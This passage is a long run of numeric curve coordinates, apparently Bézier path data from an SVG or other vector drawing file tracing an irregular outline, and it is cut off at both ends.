100637.00 141870.67 100594.00 141860.00C100583.21 141870.69 100572.61 141881.59 100561.69 141892.15C100540.46 141902.77 100519.23 141913.38 100498.00 141924.00C100498.00 141934.67 100498.00 141945.33 100498.00 141956.00C100455.00 142031.00 100412.00 142106.00 100369.00 142181.00C100369.00 142245.33 100369.00 142309.67 100369.00 142374.00C100347.67 142438.45 100326.19 142502.86 100304.94 142567.34C100294.11 142632.11 100283.63 142696.95 100272.58 142761.67C100262.05 142804.11 100251.53 142846.56 100241.00 142889.00C100229.93 142910.72 100218.43 142932.25 100207.64 142954.09C100197.09 142986.44 100186.10 143018.67 100175.82 143051.09C100165.22 143114.73 100154.61 143178.36 100144.00 143242.00C100144.00 143253.00 100144.00 143264.00 100144.00 143275.00C100112.00 143328.33 100080.00 143381.67 100048.00 143435.00C100037.33 143499.33 100026.67 143563.67 100016.00 143628.00C100005.00 143660.33 99994.00 143692.67 99983.00 143725.00C99994.00 143735.67 100005.00 143746.33 100016.00 143757.00C100005.00 143778.33 99994.00 143799.67 99983.00 143821.00C99994.00 143853.33 100005.00 143885.67 100016.00 143918.00C100016.00 143960.67 100016.00 144003.33 100016.00 144046.00C99983.67 144142.67 99951.33 144239.33 99919.00 144336.00C99908.33 144357.33 99897.67 144378.67 99887.00 144400.00C99854.67 144432.00 99822.33 144464.00 99790.00 144496.00C99725.66 144528.33 99661.34 144560.67 99597.00 144593.00C99479.34 144678.67 99361.66 144764.33 99244.00 144850.00C99201.00 144860.67 99158.00 144871.33 99115.00 144882.00C99104.33 144882.00 99093.67 144882.00 99083.00 144882.00C99072.34 144892.67 99061.66 144903.33 99051.00 144914.00C99008.00 144882.00 98965.00 144850.00 98922.00 144818.00C98922.00 144796.67 98922.00 144775.33 98922.00 144754.00C98911.33 144732.33 98900.67 144710.67 98890.00 144689.00C98890.00 144667.67 98890.00 144646.33 98890.00 144625.00C98858.00 144614.33 98826.00 144603.67 98794.00 144593.00C98772.34 144603.67 98750.66 144614.33 98729.00 144625.00C98707.66 144603.67 98686.34 144582.33 98665.00 144561.00C98643.67 144550.33 98622.33 144539.67 98601.00 144529.00C98568.66 144496.67 98536.34 144464.33 98504.00 144432.00C98482.67 144421.33 98461.33 144410.67 98440.00 144400.00C98418.67 144346.33 98397.33 144292.67 98376.00 144239.00C98376.00 144217.67 98376.00 144196.33 98376.00 144175.00C98365.21 144164.31 98354.62 144153.41 98343.69 144142.85C98322.00 144132.24 98300.41 144121.42 98278.66 144110.93C98225.44 144099.94 98172.22 144088.98 98119.00 144078.00C98086.67 144046.00 98054.33 144014.00 98022.00 143982.00C98022.00 143992.67 98022.00 144003.33 98022.00 144014.00C98000.67 144014.00 97979.33 144014.00 97958.00 144014.00C97936.34 144003.33 97914.66 143992.67 97893.00 143982.00C97882.33 143982.00 97871.67 143982.00 97861.00 143982.00C97839.67 143971.33 97818.33 143960.67 97797.00 143950.00C97764.67 143960.67 97732.33 143971.33 97700.00 143982.00C97700.00 143971.33 97700.00 143960.67 97700.00 143950.00C97711.00 143928.67 97722.00 143907.33 97733.00 143886.00C97700.67 143875.00 97668.33 143864.00 97636.00 143853.00C97636.00 143831.67 97636.00 143810.33 97636.00 143789.00C97614.67 143799.67 97593.33 143810.33 97572.00 143821.00C97561.34 143831.67 97550.66 143842.33 97540.00 143853.00C97529.33 143853.00 97518.67 143853.00 97508.00 143853.00C97497.00 143831.67 97486.00 143810.33 97475.00 143789.00C97464.33 143789.00 97453.67 143789.00 97443.00 143789.00C97432.34 143778.33 97421.66 143767.67 97411.00 143757.00C97389.67 143757.00 97368.33 143757.00 97347.00 143757.00C97336.33 143735.67 97325.67 143714.33 97315.00 143693.00C97293.33 143693.00 97271.67 143693.00 97250.00 143693.00C97239.33 143682.00 97228.67 143671.00 97218.00 143660.00C97196.57 143692.40 97175.29 143724.90 97153.76 143757.24C97132.51 143778.50 97111.25 143799.75 97090.00 143821.00C97090.00 143842.67 97090.00 143864.33 97090.00 143886.00C97079.00 143896.67 97068.00 143907.33 97057.00 143918.00C96992.67 143928.67 96928.33 143939.33 96864.00 143950.00C96864.00 143928.67 96864.00 143907.33 96864.00 143886.00C96842.67 143886.00 96821.33 143886.00 96800.00 143886.00C96789.34 143896.67 96778.66 143907.33 96768.00 143918.00C96757.33 143918.00 96746.67 143918.00 96736.00 143918.00C96725.34 143928.67 96714.66 143939.33 96704.00 143950.00C96682.33 143950.00 96660.67 143950.00 96639.00 143950.00C96639.00 143960.67 96639.00 143971.33 96639.00 143982.00C96617.67 143992.67 96596.33 144003.33 96575.00 144014.00C96564.34 144024.67 96553.66 144035.33 96543.00 144046.00C96511.00 144035.33 96479.00 144024.67 96447.00 144014.00C96425.33 144035.33 96403.67 144056.67 96382.00 144078.00C96382.00 144099.67 96382.00 144121.33 96382.00 144143.00C96371.34 144132.33 96360.66 144121.67 96350.00 144111.00C96318.00 144121.67 96286.00 144132.33 96254.00 144143.00C96243.00 144121.33 96232.00 144099.67 96221.00 144078.00C96210.33 144078.00 96199.67 144078.00 96189.00 144078.00C96178.33 144099.67 96167.67 144121.33 96157.00 144143.00C96135.67 144143.00 96114.33 144143.00 96093.00 144143.00C96093.00 144164.33 96093.00 144185.67 96093.00 144207.00C96071.67 144207.00 96050.33 144207.00 96029.00 144207.00C96029.00 144228.33 96029.00 144249.67 96029.00 144271.00C96018.00 144281.67 96007.00 144292.33 95996.00 144303.00C96007.00 144335.33 96018.00 144367.67 96029.00 144400.00C96007.33 144400.00 95985.67 144400.00 95964.00 144400.00C95964.00 144410.67 95964.00 144421.33 95964.00 144432.00C95953.34 144421.33 95942.66 144410.67 95932.00 144400.00C95900.00 144400.00 95868.00 144400.00 95836.00 144400.00C95814.34 144389.33 95792.66 144378.67 95771.00 144368.00C95760.34 144378.67 95749.66 144389.33 95739.00 144400.00C95717.67 144389.33 95696.33 144378.67 95675.00 144368.00C95664.21 144378.69 95653.62 144389.59 95642.69 144400.15C95578.24 144431.66 95514.18 144463.94 95450.00 144496.00C95439.33 144496.00 95428.67 144496.00 95418.00 144496.00C95407.00 144517.67 95396.00 144539.33 95385.00 144561.00C95363.67 144550.33 95342.33 144539.67 95321.00 144529.00C95321.00 144518.00 95321.00 144507.00 95321.00 144496.00C95310.33 144507.00 95299.67 144518.00 95289.00 144529.00C95267.67 144518.00 95246.33 144507.00 95225.00 144496.00C95214.33 144474.67 95203.67 144453.33 95193.00 144432.00C95182.00 144421.33 95171.00 144410.67 95160.00 144400.00C95138.66 144421.33 95117.34 144442.67 95096.00 144464.00C95085.33 144464.00 95074.67 144464.00 95064.00 144464.00C95064.00 144474.67 95064.00 144485.33 95064.00 144496.00C95042.67 144507.00 95021.33 144518.00 95000.00 144529.00C94989.00 144529.00 94978.00 144529.00 94967.00 144529.00C94956.33 144518.00 94945.67 144507.00 94935.00 144496.00C94924.33 144507.00 94913.67 144518.00 94903.00 144529.00C94871.00 144539.67 94839.00 144550.33 94807.00 144561.00C94807.00 144550.33 94807.00 144539.67 94807.00 144529.00C94785.33 144529.00 94763.67 144529.00 94742.00 144529.00C94731.34 144539.67 94720.66 144550.33 94710.00 144561.00C94710.00 144571.67 94710.00 144582.33 94710.00 144593.00C94645.67 144593.00 94581.33 144593.00 94517.00 144593.00C94485.00 144582.33 94453.00 144571.67 94421.00 144561.00C94421.00 144550.33 94421.00 144539.67 94421.00 144529.00C94410.33 144529.00 94399.67 144529.00 94389.00 144529.00C94389.00 144518.00 94389.00 144507.00 94389.00 144496.00C94378.33 144496.00 94367.67 144496.00 94357.00 144496.00C94345.61 144485.16 94334.60 144473.87 94322.97 144463.31C94291.31 144442.20 94259.66 144421.10 94228.00 144400.00C94206.67 144400.00 94185.33 144400.00 94164.00 144400.00C94131.67 144453.67 94099.33 144507.33 94067.00 144561.00C94056.33 144561.00 94045.67 144561.00 94035.00 144561.00C94013.67 144550.33 93992.33 144539.67 93971.00 144529.00C93960.33 144518.00 93949.67 144507.00 93939.00 144496.00C93917.33 144496.00 93895.67 144496.00 93874.00 144496.00C93874.00 144474.67 93874.00 144453.33 93874.00 144432.00C93863.33 144432.00 93852.67 144432.00 93842.00 144432.00C93831.34 144442.67 93820.66 144453.33 93810.00 144464.00C93799.33 144464.00 93788.67 144464.00 93778.00 144464.00C93767.34 144453.33 93756.66 144442.67 93746.00 144432.00C93735.00 144432.00 93724.00 144432.00 93713.00 144432.00C93702.34 144421.33 93691.66 144410.67 93681.00 144400.00C93681.00 144367.67 93681.00 144335.33 93681.00 144303.00C93659.67 144303.00 93638.33 144303.00 93617.00 144303.00C93627.67 144281.67 93638.33 144260.33 93649.00 144239.00C93617.00 144217.67 93585.00 144196.33 93553.00 144175.00C93563.67 144153.55 93574.52 144132.18 93585.08 144110.67C93595.72 144067.78 93606.36 144024.89 93617.00 143982.00C93606.33 143960.67 93595.67 143939.33 93585.00 143918.00C93585.00 143853.67 93585.00 143789.33 93585.00 143725.00C93574.34 143714.33 93563.66 143703.67 93553.00 143693.00C93574.33 143650.00 93595.67 143607.00 93617.00 143564.00C93617.00 143531.67 93617.00 143499.33 93617.00 143467.00C93595.66 143445.67 93574.34 143424.33 93553.00 143403.00C93563.67 143403.00 93574.33 143403.00 93585.00 143403.00C93574.33 143381.67 93563.67 143360.33 93553.00 143339.00C93563.67 143306.67 93574.33 143274.33 93585.00 143242.00C93595.66 143231.33 93606.34 143220.67 93617.00 143210.00C93606.34 143199.33 93595.66 143188.67 93585.00 143178.00C93574.33 143178.00 93563.67 143178.00 93553.00 143178.00C93542.34 143188.67 93531.66 143199.33 93521.00 143210.00C93499.08 143188.92 93477.40 143167.61 93456.00 143146.00C93466.67 143114.00 93477.33 143082.00 93488.00 143050.00C93477.33 143039.00 93466.67 143028.00 93456.00 143017.00C93445.33 143017.00 93434.67 143017.00 93424.00 143017.00C93424.00 142974.33 93424.00 142931.67 93424.00 142889.00C93413.33 142867.33 93402.67 142845.67 93392.00 142824.00C93381.33 142835.00 93370.67 142846.00 93360.00 142857.00C93349.33 142846.00 93338.67 142835.00 93328.00 142824.00C93306.34 142813.33 93284.66 142802.67 93263.00 142792.00C93263.00 142781.33 93263.00 142770.67 93263.00 142760.00C93231.00 142770.67 93199.00 142781.33 93167.00 142792.00C93156.34 142781.33 93145.66 142770.67 93135.00 142760.00C93135.00 142706.33 93135.00 142652.67 93135.00 142599.00C93145.67 142577.67 93156.33 142556.33 93167.00 142535.00C93167.00 142524.33 93167.00 142513.67 93167.00 142503.00C93177.66 142492.33 93188.34 142481.67 93199.00 142471.00C93177.67 142449.33 93156.33 142427.67 93135.00 142406.00C93135.00 142384.67 93135.00 142363.33 93135.00 142342.00C93124.33 142320.67 93113.67 142299.33 93103.00 142278.00C93102.76 142266.99 93103.48 142255.85 93102.63 142244.91C93091.69 142212.84 93080.86 142180.73 93069.85 142148.69C93059.23 142127.46 93048.62 142106.23 93038.00 142085.00C93027.33 142085.00 93016.67 142085.00 93006.00 142085.00C93006.00 142063.67 93006.00 142042.33 93006.00 142021.00C93027.33 142021.00 93048.67 142021.00 93070.00 142021.00C93081.00 141988.67 93092.00 141956.33 93103.00 141924.00C93092.00 141913.33 93081.00 141902.67 93070.00 141892.00C93123.67 141827.67 93177.33 141763.33 93231.00 141699.00C93241.67 141645.33 93252.33 141591.67 93263.00 141538.00C93252.33 141516.67 93241.67 141495.33 93231.00 141474.00C93220.33 141474.00 93209.67 141474.00 93199.00 141474.00C93199.00 141452.67 93199.00 141431.33 93199.00 141410.00C93177.66 141377.67 93156.34 141345.33 93135.00 141313.00C93102.66 141291.67 93070.34 141270.33 93038.00 141249.00C93048.67 141227.67 93059.33 141206.33 93070.00 141185.00C93059.33 141152.67 93048.67 141120.33 93038.00 141088.00C93038.00 141077.33 93038.00 141066.67 93038.00 141056.00C93070.33 141045.33 93102.67 141034.67 93135.00 141024.00C93156.34 141002.67 93177.66 140981.33 93199.00 140960.00C93188.33 140949.00 93177.67 140938.00 93167.00 140927.00C93156.33 140927.00 93145.67 140927.00 93135.00 140927.00C93124.34 140916.33 93113.66 140905.67 93103.00 140895.00C93113.66 140884.33 93124.34 140873.67 93135.00 140863.00C93113.33 140831.00 93091.67 140799.00 93070.00 140767.00C93091.67 140767.00 93113.33 140767.00 93135.00 140767.00C93145.67 140745.33 93156.33 140723.67 93167.00 140702.00C93177.66 140691.33 93188.34 140680.67 93199.00 140670.00C93167.00 140638.00 93135.00 140606.00 93103.00 140574.00C93103.00 140541.67 93103.00 140509.33 93103.00 140477.00C93060.23 140456.05 93017.60 140434.83 92975.00 140413.55C92969.10 140412.31 92962.73 140413.36 92956.65 140412.99C92950.14 140413.37 92943.29 140411.93 92937.14 140414.60C92906.43 140424.74 92875.71 140434.87 92845.00 140445.00C92845.00 140391.33 92845.00 140337.67 92845.00 140284.00C92812.78 140219.78 92780.95 140155.36 92749.00 140091.00C92759.67 140091.00 92770.33 140091.00 92781.00 140091.00C92781.00 140059.00 92781.00 140027.00 92781.00 139995.00C92770.34 139984.33 92759.66 139973.67 92749.00 139963.00C92759.66 139952.33 92770.34 139941.67 92781.00 139931.00C92759.90 139909.22 92738.86 139887.37 92717.08 139866.28C92702.66 139858.63 92687.74 139851.75 92673.13 139844.40C92666.08 139840.94 92659.04 139837.47 92652.00 139834.00C92663.00 139791.33 92674.00 139748.67 92685.00 139706.00C92674.00 139695.00 92663.00 139684.00 92652.00 139673.00C92673.66 139662.33 92695.34 139651.67 92717.00 139641.00C92695.33 139598.33 92673.67 139555.67 92652.00 139513.00C92652.00 139491.33 92652.00 139469.67 92652.00 139448.00C92630.67 139448.00 92609.33 139448.00 92588.00 139448.00C92598.66 139437.33 92609.34 139426.67 92620.00 139416.00C92609.34 139405.33 92598.66 139394.67 92588.00 139384.00C92598.67 139362.67 92609.33 139341.33 92620.00 139320.00C92609.33 139287.67 92598.67 139255.33 92588.00 139223.00C92588.00 139201.67 92588.00 139180.33 92588.00 139159.00C92566.67 139148.33 92545.33 139137.67 92524.00 139127.00C92534.67 139105.33 92545.33 139083.67 92556.00 139062.00C92545.33 139030.00 92534.67 138998.00 92524.00 138966.00C92534.66 138955.33 92545.34 138944.67 92556.00 138934.00C92556.00 138880.33 92556.00 138826.67 92556.00 138773.00C92566.66 138762.33 92577.34 138751.67 92588.00 138741.00C92588.00 138719.67 92588.00 138698.33 92588.00 138677.00C92609.33 138666.00 92630.67 138655.00 92652.00 138644.00C92652.00 138622.67 92652.00 138601.33 92652.00 138580.00C92663.00 138569.33 92674.00 138558.67 92685.00 138548.00C92706.33 138558.67 92727.67 138569.33 92749.00 138580.00C92749.00 138569.33 92749.00 138558.67 92749.00 138548.00C92738.34 138537.33 92727.66 138526.67 92717.00 138516.00C92717.00 138505.33 92717.00 138494.67 92717.00 138484.00C92727.66 138473.33 92738.34 138462.67 92749.00 138452.00C92749.23 138440.65 92748.54 138429.20 92749.36 138417.92C92759.90 138386.28 92770.45 138354.64 92781.00 138323.00C92770.33 138291.00 92759.67 138259.00 92749.00 138227.00C92759.67 138216.00 92770.33 138205.00 92781.00 138194.00C92770.33 138172.67 92759.67 138151.33 92749.00 138130.00C92749.00 138098.00 92749.00 138066.00 92749.00 138034.00C92738.33 138023.00 92727.67 138012.00 92717.00 138001.00C92717.00 137969.00 92717.00 137937.00 92717.00 137905.00C92684.56 137872.95 92652.24 137840.78 92619.71 137808.81C92587.74 137787.11 92555.67 137765.55 92523.76 137743.76C92513.18 137733.17 92502.58 137722.59 92492.00 137712.00C92470.33 137712.00 92448.67 137712.00 92427.00 137712.00C92405.61 137669.50 92384.57 137626.82 92363.50 137584.16C92358.67 137579.66 92351.38 137577.83 92345.60 137574.37C92308.40 137555.91 92271.20 137537.45 92234.00 137519.00C92202.00 137433.33 92170.00 137347.67 92138.00 137262.00C92138.00 137240.67 92138.00 137219.33 92138.00 137198.00C92127.33 137176.33 92116.67 137154.67 92106.00 137133.00C92116.67 137111.67 92127.33 137090.33 92138.00 137069.00C92148.67 137069.00 92159.33 137069.00 92170.00 137069.00C92170.23 137057.99 92169.54 137046.86 92170.36 137035.91C92180.90 137003.94 92191.45 136971.97 92202.00 136940.00C92191.33 136897.33 92180.67 136854.67 92170.00 136812.00C92159.34 136801.33 92148.66 136790.67 92138.00 136780.00C92148.67 136769.00 92159.33 136758.00 92170.00 136747.00C92159.34 136736.33 92148.66 136725.67 92138.00 136715.00C92105.67 136704.33 92073.33 136693.67 92041.00 136683.00C92030.34 136693.67 92019.66 136704.33 92009.00 136715.00C91998.34 136704.33 91987.66 136693.67 91977.00 136683.00C91966.34 136693.67 91955.66 136704.33 91945.00 136715.00C91934.21 136704.31 91923.61 136693.41 91912.69 136682.85C91891.46 136672.24 91870.23 136661.62 91849.00 136651.00C91859.67 136629.67 91870.33 136608.33 91881.00 136587.00C91881.00 136576.33 91881.00 136565.67 91881.00 136555.00C91838.00 136533.33 91795.00 136511.67 91752.00 136490.00C91741.24 136457.43 91730.13 136424.96 91719.59 136392.33C91709.05 136349.89 91698.53 136307.44 91688.00 136265.00C91666.66 136243.67 91645.34 136222.33 91624.00 136201.00C91559.67 136201.00 91495.33 136201.00 91431.00 136201.00C91398.67 136190.33 91366.33 136179.67 91334.00 136169.00C91323.34 136179.67 91312.66 136190.33 91302.00 136201.00C91291.34 136190.33 91280.66 136179.67 91270.00 136169.00C91248.34 136179.67 91226.66 136190.33 91205.00 136201.00C91194.34 136211.67 91183.66 136222.33 91173.00 136233.00C91141.00 136233.00 91109.00 136233.00 91077.00 136233.00C91055.66 136211.67 91034.34 136190.33 91013.00 136169.00C90980.67 136179.67 90948.33 136190.33 90916.00 136201.00C90916.00 136222.33 90916.00 136243.67 90916.00 136265.00C90905.33 136265.00 90894.67 136265.00 90884.00 136265.00C90873.34 136254.33 90862.66 136243.67 90852.00 136233.00C90809.00 136222.33 90766.00 136211.67 90723.00 136201.00C90701.67 136190.33 90680.33 136179.67 90659.00 136169.00C90648.33 136169.00 90637.67 136169.00 90627.00 136169.00C90616.34 136179.67 90605.66 136190.33 90595.00 136201.00C90573.33 136201.00 90551.67 136201.00 90530.00 136201.00C90519.34 136211.67 90508.66 136222.33 90498.00 136233.00C90508.66 136222.33 90519.34 136211.67 90530.00 136201.00C90508.67 136201.00 90487.33 136201.00 90466.00 136201.00C90433.66 136179.67 90401.34 136158.33 90369.00 136137.00C90358.33 136137.00 90347.67 136137.00 90337.00 136137.00C90337.00 136147.67 90337.00 136158.33 90337.00 136169.00C90326.34 136179.67 90315.66 136190.33 90305.00 136201.00C90262.33 136201.00 90219.67 136201.00 90177.00 136201.00C90166.00 136211.67 90155.00 136222.33 90144.00 136233.00C90133.34 136222.33 90122.66 136211.67 90112.00 136201.00C90112.00 136190.33 90112.00 136179.67 90112.00 136169.00C90090.67 136169.00 90069.33 136169.00 90048.00 136169.00C90048.00 136179.67 90048.00 136190.33 90048.00 136201.00C90037.33 136179.67 90026.67 136158.33 90016.00 136137.00C90005.34 136147.67 89994.66 136158.33 89984.00 136169.00C89962.33 136169.00 89940.67 136169.00 89919.00 136169.00C89919.00 136158.33 89919.00 136147.67 89919.00 136137.00C89887.00 136115.33 89855.00 136093.67 89823.00 136072.00C89823.00 136050.67 89823.00 136029.33 89823.00 136008.00C89812.34 135997.33 89801.66 135986.67 89791.00 135976.00C89758.67 135976.00 89726.33 135976.00 89694.00 135976.00C89683.34 135965.33 89672.66 135954.67 89662.00 135944.00C89651.34 135954.67 89640.66 135965.33 89630.00 135976.00C89608.67 135954.33 89587.33 135932.67 89566.00 135911.00C89544.34 135900.33 89522.66 135889.67 89501.00 135879.00C89490.34 135868.33 89479.66 135857.67 89469.00 135847.00C89458.34 135857.67 89447.66 135868.33 89437.00 135879.00C89415.66 135857.67 89394.34 135836.33 89373.00 135815.00C89373.00 135804.33 89373.00 135793.67 89373.00 135783.00C89362.33 135783.00 89351.67 135783.00 89341.00 135783.00C89330.00 135761.67 89319.00 135740.33 89308.00 135719.00C89308.00 135708.00 89308.00 135697.00 89308.00 135686.00C89297.33 135686.00 89286.67 135686.00 89276.00 135686.00C89276.00 135675.33 89276.00 135664.67 89276.00 135654.00C89265.34 135664.67 89254.66 135675.33 89244.00 135686.00C89233.34 135675.33 89222.66 135664.67 89212.00 135654.00C89201.33 135622.00 89190.67 135590.00 89180.00 135558.00C89180.00 135515.00 89180.00 135472.00 89180.00 135429.00C89158.67 135418.33 89137.33 135407.67 89116.00 135397.00C89126.67 135397.00 89137.33 135397.00 89148.00 135397.00C89137.34 135386.33 89126.66 135375.67 89116.00 135365.00C89116.00 135354.33 89116.00 135343.67 89116.00 135333.00C89094.34 135322.33 89072.66 135311.67 89051.00 135301.00C89061.67 135290.00 89072.33 135279.00 89083.00 135268.00C89083.00 135236.00 89083.00 135204.00 89083.00 135172.00C89072.34 135182.67 89061.66 135193.33 89051.00 135204.00C89019.00 135204.00 88987.00 135204.00 88955.00 135204.00C88955.00 135214.67 88955.00 135225.33 88955.00 135236.00C88944.34 135225.33 88933.66 135214.67 88923.00 135204.00C88912.34 135214.67 88901.66 135225.33 88891.00 135236.00C88880.00 135225.33 88869.00 135214.67 88858.00 135204.00C88847.34 135214.67 88836.66 135225.33 88826.00 135236.00C88815.34 135225.33 88804.66 135214.67 88794.00 135204.00C88794.00 135214.67 88794.00 135225.33 88794.00 135236.00C88783.33 135236.00 88772.67 135236.00 88762.00 135236.00C88762.00 135225.33 88762.00 135214.67 88762.00 135204.00C88751.33 135204.00 88740.67 135204.00 88730.00 135204.00C88730.00 135214.67 88730.00 135225.33 88730.00 135236.00C88719.34 135225.33 88708.66 135214.67 88698.00 135204.00C88687.00 135225.33 88676.00 135246.67 88665.00 135268.00C88633.00 135268.00 88601.00 135268.00 88569.00 135268.00C88558.33 135279.00 88547.67 135290.00 88537.00 135301.00C88537.00 135311.67 88537.00 135322.33 88537.00 135333.00C88515.33 135333.00 88493.67 135333.00 88472.00 135333.00C88472.00 135354.33 88472.00 135375.67 88472.00 135397.00C88461.34 135407.67 88450.66 135418.33 88440.00 135429.00C88440.00 135439.67 88440.00 135450.33 88440.00 135461.00C88450.67 135472.00 88461.33 135483.00 88472.00 135494.00C88461.33 135494.00 88450.67 135494.00 88440.00 135494.00C88440.00 135515.33 88440.00 135536.67 88440.00 135558.00C88418.67 135547.33 88397.33 135536.67 88376.00 135526.00C88376.00 135547.33 88376.00 135568.67 88376.00 135590.00C88386.67 135590.00 88397.33 135590.00 88408.00 135590.00C88376.00 135611.33 88344.00 135632.67 88312.00 135654.00C88312.00 135675.67 88312.00 135697.33 88312.00 135719.00C88301.34 135729.67 88290.66 135740.33 88280.00 135751.00C88290.66 135761.67 88301.34 135772.33 88312.00 135783.00C88301.33 135783.00 88290.67 135783.00 88280.00 135783.00C88269.00 135804.33 88258.00 135825.67 88247.00 135847.00C88236.34 135836.33 88225.66 135825.67 88215.00 135815.00C88204.33 135815.00 88193.67 135815.00 88183.00 135815.00C88183.00 135825.67 88183.00 135836.33 88183.00 135847.00C88172.33 135847.00 88161.67 135847.00 88151.00 135847.00C88140.34 135857.67 88129.66 135868.33 88119.00 135879.00C88108.34 135868.33 88097.66 135857.67 88087.00 135847.00C88087.00 135857.67 88087.00 135868.33 88087.00 135879.00C88076.34 135889.67 88065.66 135900.33 88055.00 135911.00C88055.00 135922.00 88055.00 135933.00 88055.00 135944.00C88022.66 135965.33 87990.34 135986.67 87958.00 136008.00C87936.67 136008.00 87915.33 136008.00 87894.00 136008.00C87904.67 136040.00 87915.33 136072.00 87926.00 136104.00C87915.33 136104.00 87904.67 136104.00 87894.00 136104.00C87883.21 136093.31 87872.62 136082.41 87861.69 136071.85C87819.06 136050.89 87776.43 136029.92 87734.05 136008.46C87729.70 136003.58 87727.79 135996.50 87724.39 135990.77C87716.59 135975.18 87708.80 135959.59 87701.00 135944.00C87701.00 135922.33 87701.00 135900.67 87701.00 135879.00C87690.34 135889.67 87679.66 135900.33 87669.00 135911.00C87669.00 135900.33 87669.00 135889.67 87669.00 135879.00C87647.33 135879.00 87625.67 135879.00 87604.00 135879.00C87604.00 135889.67 87604.00 135900.33 87604.00 135911.00C87614.67 135922.00 87625.33 135933.00 87636.00 135944.00C87636.00 135954.67 87636.00 135965.33 87636.00 135976.00C87625.33 135976.00 87614.67 135976.00 87604.00 135976.00C87604.00 135986.67 87604.00 135997.33 87604.00 136008.00C87572.00 136040.00 87540.00 136072.00 87508.00 136104.00C87486.67 136093.33 87465.33 136082.67 87444.00 136072.00C87454.66 136061.33 87465.34 136050.67 87476.00 136040.00C87454.59 136018.41 87432.93 135997.06 87411.00 135976.00C87400.34 135986.67 87389.66 135997.33 87379.00 136008.00C87357.67 136008.00 87336.33 136008.00 87315.00 136008.00C87315.00 136018.67 87315.00 136029.33 87315.00 136040.00C87293.67 136050.67 87272.33 136061.33 87251.00 136072.00C87240.33 136072.00 87229.67 136072.00 87219.00 136072.00C87219.00 136061.33 87219.00 136050.67 87219.00 136040.00C87208.00 136040.00 87197.00 136040.00 87186.00 136040.00C87197.00 136029.33 87208.00 136018.67 87219.00 136008.00C87208.00 136008.00 87197.00 136008.00 87186.00 136008.00C87164.67 136018.67 87143.33 136029.33 87122.00 136040.00C87122.00 136093.67 87122.00 136147.33 87122.00 136201.00C87100.67 136211.67 87079.33 136222.33 87058.00 136233.00C87047.21 136243.69 87036.62 136254.59 87025.69 136265.15C87004.13 136275.76 86982.56 136286.38 86961.00 136297.00C86950.33 136297.00 86939.67 136297.00 86929.00 136297.00C86918.33 136275.67 86907.67 136254.33 86897.00 136233.00C86886.33 136233.00 86875.67 136233.00 86865.00 136233.00C86843.67 136222.33 86822.33 136211.67 86801.00 136201.00C86790.00 136190.33 86779.00 136179.67 86768.00 136169.00C86779.00 136147.33 86790.00 136125.67 86801.00 136104.00C86790.00 136082.67 86779.00 136061.33 86768.00 136040.00C86757.33 136040.00 86746.67 136040.00 86736.00 136040.00C86714.67 136050.67 86693.33 136061.33 86672.00 136072.00C86672.00 136082.67 86672.00 136093.33 86672.00 136104.00C86661.33 136115.00 86650.67 136126.00 86640.00 136137.00C86622.00 136118.36 86604.04 136099.68 86585.19 136081.88C86582.67 136078.80 86575.62 136073.89 86576.03 136072.00C86586.69 136072.00 86597.34 136072.00 86608.00 136072.00C86597.00 136072.00 86586.00 136072.00 86575.00 136072.00C86564.34 136061.33 86553.66 136050.67 86543.00 136040.00C86532.34 136050.67 86521.66 136061.33 86511.00 136072.00C86489.67 136072.00 86468.33 136072.00 86447.00 136072.00C86436.31 136061.20 86425.41 136050.61 86414.85 136039.69C86404.23 136018.46 86393.62 135997.23 86383.00 135976.00C86361.34 135986.67 86339.66 135997.33 86318.00 136008.00C86296.67 136008.00 86275.33 136008.00 86254.00 136008.00C86243.34 135997.33 86232.66 135986.67 86222.00 135976.00C86232.66 135965.33 86243.34 135954.67 86254.00 135944.00C86243.33 135933.00 86232.67 135922.00 86222.00 135911.00C86200.34 135932.67 86178.66 135954.33 86157.00 135976.00C86146.34 135965.33 86135.66 135954.67 86125.00 135944.00C86114.34 135954.67 86103.66 135965.33 86093.00 135976.00C86071.67 135976.00 86050.33 135976.00 86029.00 135976.00C86018.34 135986.67 86007.66 135997.33 85997.00 136008.00C85986.34 135997.33 85975.66 135986.67 85965.00 135976.00C85965.00 135965.33 85965.00 135954.67 85965.00 135944.00C85943.33 135944.00 85921.67 135944.00 85900.00 135944.00C85910.67 135965.33 85921.33 135986.67 85932.00 136008.00C85900.00 136008.00 85868.00 136008.00 85836.00 136008.00C85825.34 136018.67 85814.66 136029.33 85804.00 136040.00C85793.34 136029.33 85782.66 136018.67 85772.00 136008.00C85761.00 136018.67 85750.00 136029.33 85739.00 136040.00C85728.33 136040.00 85717.67 136040.00 85707.00 136040.00C85696.34 136029.33 85685.66 136018.67 85675.00 136008.00C85685.67 135975.67 85696.33 135943.33 85707.00 135911.00C85685.67 135922.00 85664.33 135933.00 85643.00 135944.00C85611.00 135933.00 85579.00 135922.00 85547.00 135911.00C85525.33 135922.00 85503.67 135933.00 85482.00 135944.00C85471.33 135933.00 85460.67 135922.00 85450.00 135911.00C85439.33 135922.00 85428.67 135933.00 85418.00 135944.00C85396.67 135944.00 85375.33 135944.00 85354.00 135944.00C85343.00 135954.67 85332.00 135965.33 85321.00 135976.00C85321.00 135965.33 85321.00 135954.67 85321.00 135944.00C85310.33 135933.00 85299.67 135922.00 85289.00 135911.00C85289.00 135900.33 85289.00 135889.67 85289.00 135879.00C85278.34 135868.33 85267.66 135857.67 85257.00 135847.00C85246.34 135857.67 85235.66 135868.33 85225.00 135879.00C85214.33 135879.00 85203.67 135879.00 85193.00 135879.00C85193.00 135868.33 85193.00 135857.67 85193.00 135847.00C85193.00 135868.33 85193.00 135889.67 85193.00 135911.00C85203.67 135922.00 85214.33 135933.00 85225.00 135944.00C85203.67 135944.00 85182.33 135944.00 85161.00 135944.00C85161.00 135954.67 85161.00 135965.33 85161.00 135976.00C85128.66 135997.33 85096.34 136018.67 85064.00 136040.00C85042.66 136018.67 85021.34 135997.33 85000.00 135976.00C84967.67 135976.00 84935.33 135976.00 84903.00 135976.00C84903.00 135965.33 84903.00 135954.67 84903.00 135944.00C84892.34 135954.67 84881.66 135965.33 84871.00 135976.00C84871.00 135965.33 84871.00 135954.67 84871.00 135944.00C84860.33 135933.00 84849.67 135922.00 84839.00 135911.00C84828.33 135911.00 84817.67 135911.00 84807.00 135911.00C84807.00 135900.33 84807.00 135889.67 84807.00 135879.00C84785.67 135889.67 84764.33 135900.33 84743.00 135911.00C84743.00 135922.00 84743.00 135933.00 84743.00 135944.00C84721.34 135954.67 84699.66 135965.33 84678.00 135976.00C84689.00 135986.67 84700.00 135997.33 84711.00 136008.00C84700.00 136008.00 84689.00 136008.00 84678.00 136008.00C84656.67 135997.33 